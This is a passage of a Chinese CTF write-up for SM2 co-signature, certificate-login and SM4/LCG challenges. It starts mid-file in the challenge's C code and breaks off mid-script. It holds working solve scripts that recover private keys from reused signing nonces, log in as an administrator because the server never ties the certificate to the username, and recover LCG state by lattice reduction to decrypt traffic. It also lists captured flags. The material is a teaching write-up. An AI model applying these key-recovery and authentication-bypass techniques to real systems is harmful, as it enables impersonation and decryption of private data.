!BN_mod(u1, u1, n, bn_ctx) ||
!BN_mod(u2, u2, n, bn_ctx)
)
{ error(); return res; }

//u1*G + u2*P1 = (x', y')
if (!EC_POINT_mul(group, TMP, u1, P1, u2, bn_ctx))
{ error(); return res; }

if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, xprime, yprime, bn_ctx))
{ error(); return res; }

//verify r1 = x' mod n
if (!BN_mod(xprime, xprime, n, bn_ctx))
{ error(); return res; }

if(BN_cmp(r1,xprime))
{ error_partial_verify(); return res; }

//k2*G + k3*Q1 = (x1, y1)
if (!EC_POINT_mul(group, TMP, k2, Q1, k3, bn_ctx))
{ error(); return res; }

if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, x1, y1, bn_ctx))
{ error(); return res; }

//r=(e+x1) mod n
if (!BN_mod_add(r, e, x1, n, bn_ctx))
{ error(); return res; }

if (BN_is_zero(r))
{ error(); return res; }
strncpy(res.r, BN_bn2hex(r), 2*SM2LEN+1);

//s2 = d2 * k3 mod n, s3 = d2 * (r+k2) mod n
if (!BN_mod_mul(s2, d2, k3, n, bn_ctx) ||
!BN_mod_add(tmp1, r, k2, n, bn_ctx) ||
!BN_mod_mul(s3, d2, tmp1, n, bn_ctx) ||
!BN_mod(s2, s2, n, bn_ctx) ||
!BN_mod(s3, s3, n, bn_ctx)
)
{ error(); return res; }
printf("s2: %s\n",BN_bn2hex(s2));
printf("s3: %s\n",BN_bn2hex(s3));
strncpy(res.s2, BN_bn2hex(s2), 2*SM2LEN+1);
strncpy(res.s3, BN_bn2hex(s3), 2*SM2LEN+1);

// flag2 的格式如下:flag2{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx},大括号中的内容为 16 进制格式(字母小写)的 d2。
print_flag2(d2);

rv = 0;
BN_CTX_free(bn_ctx);

return rv;
}

// 计算公钥P
int getPublicKey(char *str_d2, char *str_p1x, char *str_p1y) {
int rv = 1;
BIGNUM *negone, *a, *b, *p, *n, *x, *y;
BIGNUM *d2, *p1x, *p1y, *px, *py;
BIGNUM *tmp1, *tmp2;
EC_GROUP *group;
EC_POINT *generator, *G, *P, *P1;

BN_CTX *bn_ctx = BN_CTX_new();
BN_CTX_start(bn_ctx);
if (!bn_ctx) {
error();
return 1;
}

negone = BN_CTX_get(bn_ctx);
a = BN_CTX_get(bn_ctx);
b = BN_CTX_get(bn_ctx);
p = BN_CTX_get(bn_ctx);
n = BN_CTX_get(bn_ctx);
d2 = BN_CTX_get(bn_ctx);
x = BN_CTX_get(bn_ctx);
y = BN_CTX_get(bn_ctx);
p1x = BN_CTX_get(bn_ctx);
p1y = BN_CTX_get(bn_ctx);
px = BN_CTX_get(bn_ctx);
py = BN_CTX_get(bn_ctx);
tmp1 = BN_CTX_get(bn_ctx);
tmp2 = BN_CTX_get(bn_ctx);

if (
!BN_hex2bn(&d2, str_d2) ||
!BN_hex2bn(&p1x, str_p1x) ||
!BN_hex2bn(&p1y, str_p1y) ||
!BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") ||
!BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") ||
!BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") ||
!BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") ||
!BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") ||
!BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0")
) {
error();
return 1;
}
group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx);
generator = EC_POINT_new(group);
if (!generator) {
error();
return 1;
}
if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx)) {
error();
return 1;
}
if (1 != EC_GROUP_set_generator(group, generator, n, NULL)) {
error();
return 1;
}

G = EC_POINT_new(group);
P = EC_POINT_new(group);
P1 = EC_POINT_new(group);

// set P1 = (p1x, p1y)
if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx)) {
error();
return 1;
}

//P = ((d2)^(-1)) * P1 - G
if (!BN_zero(tmp1) ||
!BN_one(tmp2) ||
!BN_mod_sub(negone, tmp1, tmp2, n, bn_ctx)
) {
error();
return 1;
}
if (!BN_mod_inverse(tmp1, d2, n, bn_ctx) || !EC_POINT_mul(group, P, negone, P1, tmp1, bn_ctx)) {
error();
return 1;
}

if (!EC_POINT_get_affine_coordinates_GFp(group, P, px, py, bn_ctx)) {
error();
return 1;
}
printf("Px: %s\n", BN_bn2hex(px));
printf("Py: %s\n", BN_bn2hex(py));

rv = 0;
BN_CTX_free(bn_ctx);

return rv;
}

int main(int argc, char *argv[]) {
int rv = 1;
if (server(argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) {
error();
return rv;
}

rv = 0;
return rv;
}

这个题目代码特别特别的长,具体细节可以慢慢读。

.js文件是交互部分,梳理一下主要交互流程是:

用户输入口令和消息摘要,并发送给服务器用户本地计算出如下数据,这些数据可以在发送包的负载里找到:
e, p1x, p1y, q1x, q1y, r1, s1

服务器接收到数据后,进行协同签名,并发送以下数据返回:   
   s2, s3, r
我们需要计算出服务器的私钥d2,d2就是flag2的值

而.c文件则是告诉我们协同签名流程,这些数据主要有以下一些关系(运算均在模n下,n是曲线阶):

使用SM2的标准曲线,参数及生成元G均已知,服务器私钥为d2,并有以下P点坐标:lmiptm1jupf11789.png
使用用户发送来的p1x, p1y, q1x, q1y这几个数据设置点P1、Q1使用用户发送来的e、r1、s1计算u1、u2:v5dhwxttgaf11800.png计算中间点T(x’,y’),验证r1=x’:
nv20fcl2edc11808.png生成随机数k2、k3,并计算:
trdxk41zd3311821.png计算r:
1th54u0vj1211834.png计算s2、s3:hga5l2n0et211843.png
返回r、s2、s3

整个步骤就是看注释一步步梳理出来的,我们的目的是算出d2来,而s2、s3中一共有三个变量d2、k2、k3,并不足以求出所有未知数,所以可能需要利用r再构造一个等式才行。

然而这个题藏了个相当阴的地方,仔细观察可以发现一行代码:

BN_copy(k3, k2)

这也就是说k3=k2,因此未知数实际上就只有两个,所以很轻松就可以拿到d2了XD。

exp:

from Crypto.Util.number import *

a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16)
b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16)
p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16)
n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16)
x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16)
y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16)

E = EllipticCurve(Zmod(p),[a,b])
G = E(x,y)


################################################################################# res
e = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
p1x = "3e8eda67c5f1b70ac1950f615c2c4e0b0fe2544823ac96cb127ba318d96b4f5"
p1y = "ab1bbde72e7d1ef42e0c9d18d44a10e7250a0dfea98194f2d8d591b355fc636"
q1x = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e"
q1y = "faef1f853c095d6de79ba9ad9a2026d742042116b38b1c672ae67c7c7e9e762d"
r1 = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e"
s1 = "6c1bfef8bacf4f9c8bc4703c66458715475e50d17ba84f666372b4f4c364e16f"
r = "C987C22813DD2D0537433FF583C84B047E0313DCA072E187ACBB5A638D4E2BC0"
s2 = "E1E08110628EEB528DC26AA117AFEF8613B1D22EBFD77A9F42524CEFEB57F676"
s3 = "758CBCCFADFB5078DB26DF382A179C9AFDE1D0617D92EC5496F67380162235B6"

tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3]
e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3 = [int(i,16) for i in tt]
P1 = E(p1x,p1y)
Q1 = E(q1x,q1y)
u1 = e * inverse(s1, n) % n
u2 = r1 * inverse(s1, n) % n
T = u1*G + u2*P1
x_, y_ = T.xy()
assert r1 == x_
x1 = r - e

d2 = (s3-s2)*inverse(r,n) % n
print(hex(d2))

#flag2{a61bdbacbad62b141284a6955b14a27df01c09984e23785ec75b5e5c79e18f62}



flag3(500 pts)

题目:

login.go:

package controllers

import (
"crypto/ecdsa"
"encoding/hex"
"encoding/pem"
"fmt"
jwtgo "github.com/dgrijalva/jwt-go"
"github.com/gin-gonic/gin"
"github.com/tjfoc/gmsm/sm2"
"github.com/tjfoc/gmsm/x509"
"http_svr/config"
"http_svr/models"
"http_svr/utils"
"math/big"
"net/http"
"time"
)

// 加载证书
func loadCertificate(certPEM string) (*x509.Certificate, error) {
//certPEM := "-----BEGIN CERTIFICATE-----\nMIIBQDCB6KADAgECAgECMAoGCCqBHM9VAYN1MBIxEDAOBgNVBAoTB1Jvb3QgQ0Ew\nHhcNMjQwNzI0MDkyMTI5WhcNMjUwNzI0MDkyMTI5WjAaMRgwFgYDVQQKEw9NeSBP\ncmdhbml6YXRpb24wWTATBgcqhkjOPQIBBggqgRzPVQGCLQNCAASlPepwTvt5c4rF\nEsg1Mqs+Tyx/BwRkwyWqDyZd/gBFKp7veuoZnGK11c24xPOqR/eQZNW7ugsZW6eb\nLyXSsE9ooycwJTAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEw\nCgYIKoEcz1UBg3UDRwAwRAIgG4/snkgUCW819OotUWUfMOo0BzHX8KeTTUSLpIjy\nEO4CIEq6X7h3nVNeFzdtLWdy5+1MeNwsWawHU5YzITsNtqOe\n-----END CERTIFICATE-----\n"
block, _ := pem.Decode([]byte(certPEM))
if block == nil || block.Type != "CERTIFICATE" {
return nil, fmt.Errorf("无效的证书格式")
}

return x509.ParseCertificate(block.Bytes)
}

// 验证证书
func validateCertificate(cert *x509.Certificate, rootCert *x509.Certificate) error {
// 检查颁发者
if cert.Issuer.CommonName != rootCert.Subject.CommonName {
return fmt.Errorf("证书校验失败")
}
// 检查颁发者组织
if len(cert.Issuer.Organization) != 1 || cert.Issuer.Organization[0] != rootCert.Subject.Organization[0] {
return fmt.Errorf("证书校验失败")
}
// 检查颁发者国家
if len(cert.Issuer.Country) != 1 || cert.Issuer.Country[0] != rootCert.Subject.Country[0] {
return fmt.Errorf("证书校验失败")
}

// 检查有效日期
if time.Now().Before(cert.NotBefore) || time.Now().After(cert.NotAfter) {
return fmt.Errorf("证书校验失败")
}

// 检查组织
if len(cert.Subject.Organization) != 1 || cert.Subject.Organization[0] != "ShangMiBei" {
return fmt.Errorf("证书校验失败")
}

// 检查组织单元
if len(cert.Subject.OrganizationalUnit) != 1 || cert.Subject.OrganizationalUnit[0] != "ShangMiBei2024" {
return fmt.Errorf("证书校验失败")
}

// 检查国家
if len(cert.Subject.Country) != 1 || cert.Subject.Country[0] != "CN" {
return fmt.Errorf("证书校验失败")
}

// 创建证书链
roots := x509.NewCertPool()
roots.AddCert(rootCert)

opts := x509.VerifyOptions{
Roots: roots,
CurrentTime: time.Now(),
}

// 验证证书链
if _, err := cert.Verify(opts); err != nil {
return fmt.Errorf("证书链校验失败: %v", err)
}

return nil
}

type SM2Signature struct {
R, S *big.Int
}

// 验证签名
func validateSignature(message, signature string, publicKey *sm2.PublicKey) (bool, error) {
//rawSignatureHex, err := base64.StdEncoding.DecodeString(base64EncodedSignature)
hexSignature, err := hex.DecodeString(signature)
if err != nil {
return false, fmt.Errorf("invalid signature format")
}

isValid := publicKey.Verify([]byte(message), hexSignature)
if isValid {
return true, nil
} else {
return false, fmt.Errorf("signature is invalid")
}
}

// Login 登录
func Login(c *gin.Context, conf config.Config) {
// 解析请求参数
var req models.LoginReq
if err := c.ShouldBind(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}

// 校验用户名是否已注册过
if _, exists := models.Users[req.Username]; !exists {
c.JSON(http.StatusBadRequest, gin.H{"error": "username not exists"})
return
}

// 校验随机字符串是否过期
randomStr, exists := conf.Cache.Get(req.Username)
if !exists {
c.JSON(http.StatusBadRequest, gin.H{"error": "random string has expired"})
return
}

// 校验证书
cert, err := loadCertificate(req.Cert)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := validateCertificate(cert, models.RootCert); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}

// 判断是否挑战成功(随机字符串的签名能否用证书中的公钥验签过)
ecdsaPubKey, ok := cert.PublicKey.(*ecdsa.PublicKey)
if !ok {
c.JSON(http.StatusBadRequest, gin.H{"error": "public key in cert is not sm2"})
return
}
sm2PubKey := sm2.PublicKey{
Curve: ecdsaPubKey.Curve,
X: ecdsaPubKey.X,
Y: ecdsaPubKey.Y,
}
isValid, err := validateSignature(randomStr.(string), req.Signature, &sm2PubKey)
if isValid {
//c.JSON(http.StatusOK, gin.H{"msg": "success", "flag3": config.Flag3, "download_url": config.DownloadUrl})
generateToken2(c, req.Username, conf)
} else {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
}
}

// 生成令牌
func generateToken2(c *gin.Context, username string, conf config.Config) {
j := &utils.JWT{
SigningKey: []byte(conf.SignKey),
}
claims := utils.CustomClaims{
Name: username,
StandardClaims: jwtgo.StandardClaims{
NotBefore: time.Now().Unix() - conf.NotBeforeTime, // 签名生效时间
ExpiresAt: time.Now().Unix() + conf.ExpiresTime, // 过期时间
Issuer: conf.Issuer, // 签名的发行者
},
}

token, err := j.CreateToken(claims)
if err != nil {
c.JSON(http.StatusOK, gin.H{
"code": 5091,
"msg": "登录失败,系统有误",
})
return
}

// 将当前用户对应的缓存中的随机字符串删除
conf.Cache.Delete(username)

isAdmin := false
if username == "shangmibeiadmin" {
isAdmin = true
}
c.JSON(http.StatusOK, gin.H{
"code": 0,
"msg": "登录成功",
"token": token,
"is_admin": isAdmin,
})
return
}

数据库管理系统管理员证书.cer:

-----BEGIN CERTIFICATE-----
MIICXjCCAgWgAwIBAgIIatKGfgnOvYYwCgYIKoEcz1UBg3UwNjELMAkGA1UEBhMC
Q04xEzARBgNVBAoTClNoYW5nTWlCZWkxEjAQBgNVBAMTCVNoYW5nTWlDQTAeFw0y
NDA4MDUwNzUyMTdaFw0yNTEwMTAxMjAxMDFaMFUxEzARBgNVBAoTClNoYW5nTWlC
ZWkxFzAVBgNVBAsTDlNoYW5nTWlCZWkyMDI0MRgwFgYDVQQDEw9zaGFuZ21pYmVp
YWRtaW4xCzAJBgNVBAYTAkNOMFkwEwYHKoZIzj0CAQYIKoEcz1UBgi0DQgAEiHG2
LM9gsuJXiyo+0yDDZEVP1+3Qh+47g65eMeoUXoi0eUiGPvhehh4RaWacpVrQKJXQ
qzCqkR4n1B+7ZymwXqOB3TCB2jAOBgNVHQ8BAf8EBAMCA4gwHQYDVR0lBBYwFAYI
KwYBBQUHAwIGCCsGAQUFBwMBMA8GA1UdDgQIBAYBAgMEBQYwDwYDVR0jBAgwBoAE
AQIDBDAuBgNVHREEJzAlgQtnaXRAZ2l0LmNvbYcEfwAAAYcQIAFIYAAAIAEAAAAA
AAAAaDBXBgNVHR8EUDBOMCWgI6Ahhh9odHRwOi8vY3JsMS5leGFtcGxlLmNvbS9j
YTEuY3JsMCWgI6Ahhh9odHRwOi8vY3JsMi5leGFtcGxlLmNvbS9jYTEuY3JsMAoG
CCqBHM9VAYN1A0cAMEQCIEU8qEYGqgRTJPGI8YLRrpR7x3M2HzZOt377PwsnivGW
AiA67pgq6qfrhKsWc/B2VUqi2t+ZlK+iAM6D+Ai7NoqYSw==
-----END CERTIFICATE----

题目连接上之后有一个简易的网站,由于复现不了所以只能大致描述一下它的功能:

  • 有一个登录界面,可以输入用户名、私钥以及公钥文件,如果能通过login.go中的所有check就能成功登录
  • 还有一个注册界面,可以输入用户名和裸公钥,如果裸公钥格式正确,服务器就会用根证书发放一个完整公钥文件给你

我们的目标是用“shangmibeiadmin”成功登录,就可以拿到flag3的值以及flag4的源码。

已知的这个证书文件是个公钥文件,查看一下发现这个证书的用户就是“shangmibeiadmin”,所以如果我们能知道他的私钥的话就可以直接登录了。结合这个题只有500分这个事实,我第一反应是私钥相当小,可以直接爆出来,但是用mitm爆了2^50无果,所以只能从其他部分入手。

用gmssl这个工具可以比较轻松的生成一对公私钥证书,我们只需要把公钥里的裸公钥拆出来,然后自己随便生成个用户名就可以注册一个用户,并得到服务器颁发的公钥证书。

这里需要注意一下不能直接注册“shangmibeiadmin”,它会显示已注册

然后查看login.go可以发现他似乎根本没检验证书持有者是不是和用户名一样,所以按理来说接下来的步骤很简单,我们只需要在用户名一栏输入“shangmibeiadmin”,然后输入刚才我们生成的公私钥证书中的私钥,再输入刚才服务器下发的证书就可以成功登录。

然而我们实在是不熟悉gmssl乃至openssl这些工具,并且不出网,不能自由查找怎么使用,所以只能一直用help来看有什么参数可以用。我们遇到的最大问题是:gmssl必须要一个密码,才能生成sm2私钥文件,而这个私钥文件是用这个密码加密过的,但是我们怎么找都找不到怎么解密这个私钥文件并解析他。

这里花了很长很长时间,最后离比赛结束不到一小时的时候想了一个笨办法出来——直接去源码c文件里面加几行打印私钥d的文件,并重新编译一下再用这个工具:

image-20240906160617551

这个方法很笨但是确实有效,由于脑子有点混乱,也想不太清楚d具体该怎么拼,就用从前往后和从后往前两种顺序得到两个d,并用是否满足P=dG这个式子来进行核验,最后好歹是把自己生成的私钥d搞出来了:

from Crypto.Util.number import *
from tqdm import *

a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16)
b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16)
p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16)
n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16)
x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16)
y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16)

E = EllipticCurve(Zmod(p),[a,b])
G = E(x,y)

t = "3059301306072a8648ce3d020106082a811ccf5501822d03420004ed7a7dce0e4e2e4b779f76b4ec407b8987ba5c3beba5cd454604e587fce0a17160b29510b2beb36e36470fba3ed6bd436049a0b588e931c71df6cf0b0d0e6407"
x1 = int(t[-128:-64], 16)
y1 = int(t[-64:], 16)

P = E(x1,y1)

dd = [12437958772606967559,9879664919779981675,172814172046494727,15816591967453487196]

d = (dd[3] << (64*3)) + (dd[2] << (64*2)) + (dd[1] << (64*1)) + (dd[0] << (64*0))
print(d)
print(hex(d))
print(d*G == P)

之后按刚才的方式就可以登录上网站拿到flag3以及flag4的源码。



flag4(1000 pts)

题目:

SM4加密解密代码.py:

from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT

MULTIPLIER = 6364136223846793005
ADDEND = 1
MASK = 0xffffffffffffffff
ITERATIONS = 1000

# 从文件中读取seed
def read_seed(file_path):
with open(file_path, 'r') as file:
seed = int(file.read().strip(), 16)
print("seed:", hex(seed))
return seed

global_seed = read_seed('seed.txt')

def genRandom():
global global_seed
# print("global_seed", hex(global_seed))
for _ in range(ITERATIONS):
global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK
return (global_seed >> 32) & 0xffffffff

# 16进制字符串转bytes
def HexStringToBytes(hex_str):
return bytes.fromhex(hex_str)

# bytes转16进制字符串
def BytesToHexString(byte_seq):
return byte_seq.hex()

def genSM4KeyOrIV():
return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4)))

def SM4Encrypt(data_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_ENCRYPT)
return sm4.crypt_cbc(iv_bytes, data_bytes)

def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_DECRYPT)
return sm4.crypt_cbc(iv_bytes, cipher_bytes)


print("############ SM4 Cryptographic Services Start... ###################")

iv_bytes = genSM4KeyOrIV()
print("iv hex:", BytesToHexString(iv_bytes))

key_bytes = genSM4KeyOrIV()
print("key hex:", BytesToHexString(key_bytes))

# 从test.pcapng读取数据并加密
with open('test.pcapng', 'rb') as f1:
plain1_bytes = f1.read()
cipher1_bytes = SM4Encrypt(plain1_bytes,key_bytes,iv_bytes)

# 写密文数据到cipherText.dat
with open('cipherText.dat', 'wb') as f2:
f2.write(cipher1_bytes)

# 从cipherText.dat读密文数据
with open('cipherText.dat', 'rb') as f3:
cipher2_bytes = f3.read()
plain2_bytes = SM4Decrypt(cipher2_bytes,key_bytes,iv_bytes)

# 解密密文并将明文写入到plainText.pcapng(含flag4)
with open('plainText.pcapng', 'wb') as f4:
f4.write(plain2_bytes)

总经理协同签名流量包加密使用的iv.txt:

90fc5cf2e2f47488a257fd51e0ae615

终于是一个python加密了,倍感亲切。题目主要流程是:

  • 读取seed.txt文件得到初始seed
  • 用genSM4KeyOrIV函数连续生成16字节的iv和key
  • 读取一个流量包文件,并用iv、key对流量包文件进行SM4加密
  • 给出密文文件以及iv,要求还原流量包

有古怪的地方只可能在genSM4KeyOrIV函数里,查看一下发现其是连续调用四次genRandom函数并拼接而成,而genRandom函数是:

def genRandom():
global global_seed
# print("global_seed", hex(global_seed))
for _ in range(ITERATIONS):
global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK
return (global_seed >> 32) & 0xffffffff

可以看出这是一个LCG过程,其会返回seed迭代一千次之后的高32位。

我们知道IV,也就是我们知道连续四次迭代一千次之后的seed高位,这就变成了一个简单的HNP问题。由于LCG迭代过程可以写为如下矩阵乘法:

3ajpart5uqq11863.png

所以一千次迭代也就是:

dagtyn5xdpn11871.png

对于题目来说是已知高32位,那么以IV的第一个分组和第二个分组为例,式子就可以写成:


h0eqecamajc11876.png

所以对IV所有连续的两组用第一行对应的线性等式,就可以把问题转化成规约低32位的HNP问题了,得到所有低位之后就可以向后迭代得到key,从而恢复流量包。

exp:

get xl:

c = "90fc5cf2e2f47488a257fd51e0ae615b"

MULTIPLIER = 6364136223846793005
ADDEND = 1
MASK = 0xffffffffffffffff + 1
ITERATIONS = 1000

t1,t2,t3,t4 = c[:8],c[8:16],c[16:24],c[24:32]
res = [t1,t2,t3,t4]
t = [int(i,16) for i in res]

##################################################
M = Matrix(Zmod(MASK),[
[MULTIPLIER,1],
[0,1]
])
Mn = M^ITERATIONS
a,b = Mn[0]
a,b = int(a),int(b)

nums = 4
L = Matrix(ZZ,2*nums,2*nums)
for i in range(nums+1):
L[i,i] = 1
for i in range(nums-1):
L[i,nums+i+1] = a
L[i+1,nums+i+1] = -1
c = a*2^32*t[i] - 2^32*t[i+1] + b
L[nums,nums+i+1] = c
L[nums,nums] = 2^32
for i in range(nums-1):
L[-i-1,-i-1] = MASK
L[:,-(nums-1):] *= MASK

res = L.LLL()[0][:4]
print(res)

decrypt:

from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT

MULTIPLIER = 6364136223846793005
ADDEND = 1
MASK = 0xffffffffffffffff
ITERATIONS = 1000

global_seed = 0 # TODO
iv_high = 0xe0ae615b
iv_low = 187714221
iv_last = (iv_high << 32) + iv_low
global_seed = iv_last

def genRandom():
global global_seed
# print("global_seed", hex(global_seed))
for _ in range(ITERATIONS):
global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK
return (global_seed >> 32) & 0xffffffff

# 16进制字符串转bytes
def HexStringToBytes(hex_str):
return bytes.fromhex(hex_str)

# bytes转16进制字符串
def BytesToHexString(byte_seq):
return byte_seq.hex()

def genSM4KeyOrIV():
return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4)))

def SM4Encrypt(data_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_ENCRYPT)
return sm4.crypt_cbc(iv_bytes, data_bytes)

def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_DECRYPT)
return sm4.crypt_cbc(iv_bytes, cipher_bytes)

iv_bytes = HexStringToBytes("90fc5cf2e2f47488a257fd51e0ae615b")
key_bytes = genSM4KeyOrIV()
print(key_bytes)

with open("总经理协同签名流量包(加密后的文件).dat", "rb") as fp:
cipher_bytes = fp.read()
plain_bytes = SM4Decrypt(cipher_bytes, key_bytes, iv_bytes)

with open("plainText.pcapng", "wb") as fp:
fp.write(plain_bytes)

然后就可以在流量包里找到flag4。

3fbak5u1zaz11888.png


最终挑战 *

在比赛还是不到半分钟的时候,我们队才惊险地交上flag4,完全没有时间看最终挑战了,因此只能赛后复现一下。

flag4的流量包跟踪TCP流,可以看到里面有以下内容:

image-20240906162944644

除了flag4外,剩下的数据很显然是和flag2的协同签名有关的,而相比于flag2来说,这里多给了一个client_sign字段的值,再回头看看.js文件可以发现这是clientSign2函数的返回值,其流程为:

在clientSign1的过程里会生成一个随机数k1,满足:apepf5mp50p11899.png
  • 传入未知的用户私钥d1,以及已知的s2、s3、r
计算s:
nb44rvroike11907.png

可以看出s1、s的生成等式其实分别就是关于d1、k1的两个变量的方程,所以就可以解出d1了。而我们的目的是伪造一个签名,解出d1之后走一遍协同签名的流程就好了,自然也就没有难度。

没有交互部分了,但可以用d1联系的两个点来检验d1的正确性

exp:

from Crypto.Util.number import *

a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16)
b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16)
p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16)
n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16)
x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16)
y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16)

E = EllipticCurve(Zmod(p),[a,b])
G = E(x,y)


################################################################################# res
q1x = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26"
q1y = "79a9748598cc2886b09fa856b9806b8789b8a719f6a969e2f08da35ea997bc5d"
e = "eaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6"
r1 = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26"
s1 = "47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05"
p1x = "4c84b1cf8e9255c9385c07c2bf3426a9497d49e2b33c328ab02c4aed8b021bad"
p1y = "8a3e40da9d3423f27be30eebb2e4e11999e565be0def197fe1bcf4f6b724b471"

r = "8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4"
s2 = "B54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45"
s3 = "B50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D"

s = "cb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158"


tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s]
e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s = [int(i,16) for i in tt]
P1 = E(p1x,p1y)
Q1 = E(q1x,q1y)

################################################################################# solve d1
PR.<k1,d1> = PolynomialRing(Zmod(n))
f1 = (s1*k1 - e)*d1 - r1
f2 = d1*k1*s2 + d1*s3 - r - s
res = f1.sylvester_matrix(f2, k1).det().univariate_polynomial().monic().roots()
d1 = int(res[1][0])

print(d1*P1 == G)

   或者

from sage.all import *

a = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC
b = 0x28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93
p = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
x = 0x32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7
y = 0xBC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0
E = EllipticCurve(GF(p), [a, b])
G = E(x, y)

s = 0xcb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158

r = 0x8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4
s2 = 0xB54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45
s3 = 0xB50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D

e = 0xeaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6
